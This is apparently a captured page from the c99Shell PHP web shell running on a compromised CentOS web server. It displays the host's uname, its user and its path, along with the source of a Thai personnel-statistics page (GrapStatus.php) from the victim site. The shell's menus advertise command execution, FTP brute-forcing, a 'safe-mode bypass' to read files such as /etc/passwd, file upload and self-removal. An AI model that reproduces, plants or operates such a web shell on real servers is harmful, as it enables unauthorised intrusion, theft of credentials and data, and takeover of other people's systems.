!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     GrapStatus.php (10.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
execQuery($query0);
		//$rs = $dbObj->fetchArray($result);
		$total = $dbObj->_numrows;

		/**  Config Table for This Page  */
		$myTable = "projectstdplan_tb";
		$myTablePK = "Budget_Year";
		
		$myTable2 = "project_type_tb";
		$myTable2PK = "ProjectId";
		
		/*
		$queryUsr = " SELECT * FROM user_tb  WHERE Username='$Username' ";
		$resultUsr = $dbObj->execQuery($queryUsr);
		$rss = $dbObj->fetchArray($resultUsr);
		*/
		
		//===  
		$query = " SELECT *  FROM $myTable  GROUP BY  $myTablePK ";
		$result = $dbObj->execQuery($query);
		$num = $dbObj->_numrows;
		//$total = $dbObj->_numrows;

 ?>







จำนวนบุคลากรตามสถานะ




หน้าหลัก » แผนภูมิแสดงประเภทของบุคลากร
 
‹ ย้อนกลับ
"; $strQ = " SELECT * FROM person_type_tb "; $res = $dbObj->execQuery($strQ); $c = mysql_num_rows($res); while( $rs0 = $dbObj->fetchArray($res) ) { $dc = $rs0['Ptype_code']; if ($dc !=0 ){ $sql = " SELECT COUNT(Teacher_code) AS num FROM personal_tb WHERE StatusId='1' and Person_type=$dc and ( Person_type='1' Or Person_type='2' Or Person_type='3' Or Person_type='4' Or Person_type='5') "; $result = $dbObj->execQuery($sql); $rs = $dbObj->fetchArray($result); $sql2 = " SELECT COUNT(Teacher_code) AS sum FROM personal_tb WHERE StatusId='1' and ( Person_type='1' Or Person_type='2' Or Person_type='3' Or Person_type='4' Or Person_type='5') "; $result2 = $dbObj->execQuery($sql2); $rs2 = $dbObj->fetchArray($result2); $per = ( $rs['num'] * 100 ) / $rs2['sum']; $p = number_format($per,2,'.','.'); $strXML .= ""; } } //Finally, close element $strXML .= ""; //Create the chart - Pie 3D Chart with data from strXML echo renderChart("charts/Column3D.swf", "", $strXML, "",650, 375, false, false); ?>
 
execQuery($sql); $no = 1+($display-1)*$limit; while( $rss3 = $dbObj->fetchArray($result9) ) { $bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF"; ?>
No รายการ ปฏิบัติงาน อัตราส่วน ลาศึกษา ไปช่วยราชการ จำนวน
execQuery($sql); $rs1 = $dbObj->fetchArray($result1); $dbObj->freeresult($result7); echo $rs1['num1']; ?> execQuery($sql); $rs2 = $dbObj->fetchArray($result2); $per2= ( $rs1['num1'] * 100 ) / $rs2['sum'] ; echo number_format($per2,2,'.','.'); ?> execQuery($sql); $rs2 = $dbObj->fetchArray($result2); $dbObj->freeresult($result7); echo $rs2['num2']; ?> execQuery($sql); $rs3 = $dbObj->fetchArray($result3); $dbObj->freeresult($result7); echo $rs3['num3']; ?>
  สรุป execQuery($sql); $rs1 = $dbObj->fetchArray($result1); $dbObj->freeresult($result7); echo $rs1['num5']; ?> 100% execQuery($sql); $rs1 = $dbObj->fetchArray($result1); $dbObj->freeresult($result7); echo $rs1['num5']; ?> execQuery($sql); $rs1 = $dbObj->fetchArray($result1); $dbObj->freeresult($result7); echo $rs1['num5']; ?> execQuery($sql); $rs1 = $dbObj->fetchArray($result1); $dbObj->freeresult($result7); echo $rs1['num5']; ?>

 
freeresult($result); /** Close the Database */ $dbObj->disconn(); /** Unset Class */ unset($dbObj); ?>
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.005 ]--